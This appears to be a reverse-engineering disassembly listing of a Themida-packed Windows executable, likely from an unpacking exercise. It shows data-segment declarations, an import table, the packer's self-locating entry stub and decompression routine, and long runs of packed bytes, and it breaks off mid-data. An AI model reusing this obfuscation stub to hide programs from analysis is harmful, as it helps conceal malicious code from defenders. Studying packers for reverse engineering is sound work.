sub_40981F+7B2w ; sub_40A4AC+ECr dword_43F750 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43F754 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43F758 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43F75C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43F760 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43F764 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43F768 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43F76C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43F770 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43F774 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43F778 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43F77C dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43F780 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43F784 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43F788 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43F78C dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43F790 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43F794 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43F798 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43F99C dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43F9B0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43F9B4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43F9B8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43F9BC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43F9C0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43F9F4 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43F9FC dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43FA34 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_443A34 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_443A38 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_443A70 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_443A78 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_443AD4 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_443CD4 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_443CD8 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_443D34 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_443F34 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_443F38 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_444138 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_444340 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_444358 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_444EC0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dd 7Fh dup(0) dword_4450C0 dd 0 ; DATA XREF: sub_416D5A+41w ; sub_416E95+40w ... dword_4450C4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4450C8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_41680E+AEw ... dword_4450CC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_4450D0 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_4450D4 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_4450D8 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3357r ... align 4 dd 19Dh dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dword_450050 dd 0E700h dup(0) dword_489C50 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; ___:0040E6E3w ... align 8 dword_489C58 dd 0 ; DATA XREF: ___:loc_40EAA4o dword_489C5C dd 20h dup(0) ; DATA XREF: ___:0040EA3Co ; ___:0040EAF5o ... dword_489CDC dd 10h dup(0) ; DATA XREF: ___:0040EA53o ; sub_40EE72+929o dword_489D1C dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao dword_489DAC dd 0 ; DATA XREF: ___:0040EA5Ew ; ___:0040EB0Cw ... dword_489DB0 dd 0 ; DATA XREF: ___:0040EA7Dw align 10h dword_489DC0 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_489DC8 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_489DCC dd 0 ; DATA XREF: ___:0040EAA9w ; ___:0040EAC0r ... dword_489DD0 dd 0 ; DATA XREF: ___:0040EA41w ; sub_40EE72+8CAr dd 2 dup(0) dword_489DDC dd 0 ; DATA XREF: ___:004155C4r dd 0 dword_489DE4 dd 1Bh dup(0) ; DATA XREF: sub_415D68+8Do dword_489E50 dd 0 ; DATA XREF: sub_416FA2+16o ; sub_416FC1+19o dword_489E54 dd 65h dup(0) ; DATA XREF: sub_416F55+3Do byte_489FE8 db 0 ; DATA XREF: sub_416C53+6Ar ; sub_416C53+98w align 4 dd 2 dup(0) dword_489FF4 dd 0 ; DATA XREF: sub_417D73+Aw dword_489FF8 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_48A000 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_48A002 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_48A006 dw 0 ; DATA XREF: sub_4186B1+3Br word_48A008 dw 0 ; DATA XREF: sub_4186B1+2Er word_48A00A dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_48A010 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_48A014 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_48A018 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_48A01C dd 0 ; DATA XREF: sub_41FEC6+13Ar dd 0A28h, 501h, 5, 1 dword_48A030 dd 1 ; DATA XREF: ___:loc_40E98Cr ; ___:0041F2D1w dword_48A034 dd 2400B30h ; DATA XREF: ___:0040E995r ; ___:0040E9B5r ... dd 0 dword_48A03C dd 2400B58h ; DATA XREF: ___:0041F1CBw ; sub_421DAE+9r ... dword_48A040 dd 0 ; DATA XREF: sub_422492+36r dword_48A044 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_48A04C dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_48A054 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_48A058 dd 0 ; DATA XREF: sub_419B07+27w dword_48A05C dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_48A060 dd 0 ; DATA XREF: ___:loc_41F199r ; ___:loc_41F1DBr ... align 8 dword_48A068 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ... dword_48A06C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_48A074 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_48A078 dd 0 ; DATA XREF: sub_41AB54r dword_48A07C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_48A080 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_48A084 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_48A088 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_48A08C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_48A090 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_48A094 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_48A098 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_48A09C dd 0 ; DATA XREF: sub_41D4FC+29r dword_48A0A0 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_48A0A8 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_48A0B8 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_48A0C0 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_48A0C4 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_48A0C8 dd 0 ; DATA XREF: ___:0041EFE5r ; ___:0041EFF1w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o ; ___:off_48A04Co align 4 dd 3Ah dup(0) dword_48A1D0 dd 1 ; DATA XREF: ___:0041F48Fr ; ___:0041F4B0w ... dword_48A1D4 dd 0 ; DATA XREF: sub_41F84C+21r dword_48A1D8 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_48A1DC dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_48A1E0 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_48A1E8 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_48A1EA db 0 ; DATA XREF: sub_42074B+39r align 4 dword_48A1EC dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_48A208 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_48A20C dd 0 ; DATA XREF: sub_42074B+4Dw dword_48A210 dd 0 ; DATA XREF: sub_42074B+31w dword_48A214 dd 0 ; DATA XREF: sub_42074B+52w dword_48A218 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_48A220 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_48A228 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_48A22C dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_48A26C dw 0 ; DATA XREF: sub_420BAC+A8r word_48A26E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_48A270 dw 0 ; DATA XREF: sub_420BAC+CAr word_48A272 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_48A274 dw 0 ; DATA XREF: sub_420BAC+C0r word_48A276 dw 0 ; DATA XREF: sub_420BAC+B8r word_48A278 dw 0 ; DATA XREF: sub_420BAC+B0r word_48A27A dw 0 ; DATA XREF: sub_420BAC+9Er dword_48A27C dd 0 ; DATA XREF: sub_42094E+4Br dword_48A280 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_48A2C0 dw 0 ; DATA XREF: sub_420BAC+46r word_48A2C2 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_48A2C4 dw 0 ; DATA XREF: sub_420BAC+67r word_48A2C6 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_48A2C8 dw 0 ; DATA XREF: sub_420BAC+5Dr word_48A2CA dw 0 ; DATA XREF: sub_420BAC+55r word_48A2CC dw 0 ; DATA XREF: sub_420BAC+4Dr word_48A2CE dw 0 ; DATA XREF: sub_420BAC+3Er dword_48A2D0 dd 0 ; DATA XREF: sub_42094E+80r dword_48A2D4 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_48A2D8 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_48A2DC dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_48A2E0 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_48A2E4 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_48A2E8 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_48A2EC dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_48A2F0 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_48A2F4 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_48A2F8 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_48A300 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_48A304 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_48A308 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_48A30C db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_48A310 dd 2401140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_48A320 dd 400h dup(0) ; DATA XREF: ___:off_43BCB8o ; ___:0043BCC0o dword_48B320 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_48B340 dd 2400650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_48B344 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o dword_48B440 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_48B444 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_48B450 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_48B45C dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_48B460 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_48B560 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_48B561 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_48B664 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_48B668 dd 0 ; DATA XREF: sub_41B3E6+5r ; sub_41B3E6+32w dword_48B66C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_48B670 dd 0 ; DATA XREF: sub_41ADB4+311w ; sub_41B0DD:loc_41B12Dr ... dword_48B674 dd 0 ; DATA XREF: sub_41ADB4+22Dr ; sub_41ADB4+260r ... dword_48B678 dd 0 ; DATA XREF: sub_41AD89r ; sub_41ADB4+2CBr ... dword_48B67C dd 0 ; DATA XREF: sub_41AD89+8r ; sub_41ADB4+2D0r ... dword_48B680 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_48B684 dd 2400000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_48B688 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_48B68C dd 142340h ; DATA XREF: ___:0041F13Er ; ___:0041F269r dword_48B690 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr dword_48B694 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_48B698 dd 2400758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_48B69C dd 2400758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 258h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 0008D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 48D000h align 2000h _rsrc___ ends ; Section 3. (virtual address 0008E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 48E000h a7icwCw db '7w\w',0 align 4 dd 77345219h, 4 dup(0) dd 8E050h, 8E000h, 3 dup(0) dd 8E079h, 8E00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 0008F000) ; Virtual size : 000F6000 (1007616.) ; Section size in file : 000F6000 (1007616.) ; Offset to raw data for section: 0008F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 48F000h dd 8063DFB4h, 480C5h, 52BB2h, 0C4172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004F750E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004FAAC7 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 004FAD3D SIZE 00000052 BYTES mov eax, 0 pusha or eax, eax jz short loc_48F086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_48F041 popa jmp short loc_48F076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_48F041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_48F04E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_48F06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_48F074 loc_48F06D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_48F04E ; --------------------------------------------------------------------------- loc_48F074: ; CODE XREF: start+57j mov edi, eax loc_48F076: ; CODE XREF: start+1Bj jmp loc_48F265 ; --------------------------------------------------------------------------- db 3 dd 0F26AB9C7h, 0CF030008h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_48F086: ; CODE XREF: start+8j mov eax, offset loc_4F750E mov ecx, offset word_48F26A push eax push ecx call sub_48F11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_48F265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(x^',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_48F11B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_48F127: ; CODE XREF: sub_48F11B:loc_48F13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_48F132: ; CODE XREF: sub_48F11B+7Aj ; sub_48F11B+C3j ... add dl, dl jnz short loc_48F13B mov dl, [esi] inc esi adc dl, dl loc_48F13B: ; CODE XREF: sub_48F11B+19j jnb short loc_48F127 add dl, dl jnz short loc_48F146 mov dl, [esi] inc esi adc dl, dl loc_48F146: ; CODE XREF: sub_48F11B+24j jnb short loc_48F197 xor eax, eax add dl, dl jnz short loc_48F153 mov dl, [esi] inc esi adc dl, dl loc_48F153: ; CODE XREF: sub_48F11B+31j jnb loc_48F238 add dl, dl jnz short loc_48F162 mov dl, [esi] inc esi adc dl, dl loc_48F162: ; CODE XREF: sub_48F11B+40j adc eax, eax add dl, dl jnz short loc_48F16D mov dl, [esi] inc esi adc dl, dl loc_48F16D: ; CODE XREF: sub_48F11B+4Bj adc eax, eax add dl, dl jnz short loc_48F178 mov dl, [esi] inc esi adc dl, dl loc_48F178: ; CODE XREF: sub_48F11B+56j adc eax, eax add dl, dl jnz short loc_48F183 mov dl, [esi] inc esi adc dl, dl loc_48F183: ; CODE XREF: sub_48F11B+61j adc eax, eax jz short loc_48F18D push edi sub edi, eax mov al, [edi] pop edi loc_48F18D: ; CODE XREF: sub_48F11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_48F132 ; --------------------------------------------------------------------------- loc_48F197: ; CODE XREF: sub_48F11B:loc_48F146j mov eax, 1 loc_48F19C: ; CODE XREF: sub_48F11B:loc_48F1B0j add dl, dl jnz short loc_48F1A5 mov dl, [esi] inc esi adc dl, dl loc_48F1A5: ; CODE XREF: sub_48F11B+83j adc eax, eax add dl, dl jnz short loc_48F1B0 mov dl, [esi] inc esi adc dl, dl loc_48F1B0: ; CODE XREF: sub_48F11B+8Ej jb short loc_48F19C sub eax, ebx mov ebx, 1 jnz short loc_48F1E3 mov ecx, 1 loc_48F1C0: ; CODE XREF: sub_48F11B:loc_48F1D4j add dl, dl jnz short loc_48F1C9 mov dl, [esi] inc esi adc dl, dl loc_48F1C9: ; CODE XREF: sub_48F11B+A7j adc ecx, ecx add dl, dl jnz short loc_48F1D4 mov dl, [esi] inc esi adc dl, dl loc_48F1D4: ; CODE XREF: sub_48F11B+B2j jb short loc_48F1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F1E3: ; CODE XREF: sub_48F11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_48F1F1: ; CODE XREF: sub_48F11B:loc_48F205j add dl, dl jnz short loc_48F1FA mov dl, [esi] inc esi adc dl, dl loc_48F1FA: ; CODE XREF: sub_48F11B+D8j adc ecx, ecx add dl, dl jnz short loc_48F205 mov dl, [esi] inc esi adc dl, dl loc_48F205: ; CODE XREF: sub_48F11B+E3j jb short loc_48F1F1 cmp eax, 7D00h jnb short loc_48F228 cmp eax, 500h jb short loc_48F223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F223: ; CODE XREF: sub_48F11B+F8j cmp eax, 7Fh ja short loc_48F22B loc_48F228: ; CODE XREF: sub_48F11B+F1j add ecx, 2 loc_48F22B: ; CODE XREF: sub_48F11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F238: ; CODE XREF: sub_48F11B:loc_48F153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_48F259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F259: ; CODE XREF: sub_48F11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_48F11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_48F265: ; CODE XREF: start:loc_48F076j ; start+9Dj jmp loc_4F750E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_48F26A dw 38E9h ; DATA XREF: start+77o dd 15235B4h, 0B836C8EFh, 1F2AE46h, 1159309Dh, 0BF4603B8h dd 0AE1078CEh, 2E92E2EEh, 22F2AB11h, 0EB6E843Bh, 0AF1101CEh dd 3AAF1FBh, 0FB521DC2h, 5203FE4Ch, 61747365h, 70419972h dd 78E92EC5h, 0D563C7F2h, 3B83571h, 21EFAE46h, 0EF11EE33h dd 1FE17122h, 6854F0BFh, 696D0E65h, 0AE116164h, 0E12422BAh dd 98F2EF0Bh, 0F4EE112Eh, 0F3483BAFh, 85037021h, 0C874E9D5h dd 8B8E5F7Dh, 60D442C5h, 5D0A80E8h, 1C3ED81h, 89060735h dd 84089995h, 1C9B50Dh, 19718546h, 0A0BD833Eh, 1C74E00Dh dd 89E88B0Ch, 0F991B8E2h, 701CEFC2h, 3E712444h, 6A001AEDh dd 0A360E845h, 749A6829h, 0DFE9FB83h, 4B250A40h, 440A7A89h dd 1429E9D5h, 405FEC02h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B0036B1h ; --------------------------------------------------------------------------- dw 4524h dd 0E6C08D8h, 8896340h, 80F37D81h, 0F741D19h, 83FC0820h dd 0FF45CC1Bh, 0EB314312h, 61DC36E1h, 0C90A26BAh, 34604C2h dd 0FF7CC481h, 22490247h, 458D00FAh, 85D8B80h, 19A285C7h dd 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh, 755D0106h dd 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh, 7ABB85Bh dd 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h, 314A9246h dd 4251F946h, 8A5D61D1h, 0AFF0D003h, 5045EEECh, 51EB4DFCh dd 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h, 3E7FEB0Ch dd 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah, 0F801D604h dd 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h, 390A0A61h dd 0EBE90577h, 3F2293F7h, 0DB36114h, 8FB660Ah, 0C3FA1E7Ah dd 10610A75h, 0B72411Ah, 77460A86h, 10F52406h, 0C3F05D01h dd 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh, 700EF826h dd 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh, 0BA87F238h dd 5B90708h, 0BDFC4270h, 0FE003840h, 0E49470Fh, 22B9FA75h dd 0BBE16A2Eh, 0C809F101h, 0BCEDEB82h, 868E0402h, 7BC13A2Eh dd 36C16551h, 28F71DBFh, 5007268Ah, 185905E9h, 0F068C10h dd 560F40BCh, 0FD6B6F9Dh, 1B04E94Ch, 0C45E3921h, 256D8A01h dd 98458205h, 46211708h, 1EC40056h, 0C32CD914h, 0DB66C010h dd 7D4F172h, 0CB8C5C53h, 82670034h, 5B004E39h, 0B8100F76h dd 7C043D51h, 613B76D1h, 9755246h, 8111D52Eh, 0E4EC480Eh dd 56479065h, 5C584D0h, 4196328Eh, 2A3C53F7h, 3329C204h dd 0E7C8718Ch, 0CCA40E6Eh, 30812BFFh, 1D220477h, 8406C134h dd 207533F9h, 0DD3F41BCh, 9CEFD90Ah, 41CE0230h, 7F8C26ECh dd 43FF7ECCh, 0A9453F40h, 624060E9h, 28C52C4h, 8211254Dh dd 3413B1AAh, 22845AABh, 0E1985613h, 0EE2A825Eh, 2A1814Ch dd 0EA8A130Ah, 231388B9h, 0A0439714h, 1DBC6751h, 7A5C548Ch dd 8D12E03Ch, 0A3041FDAh, 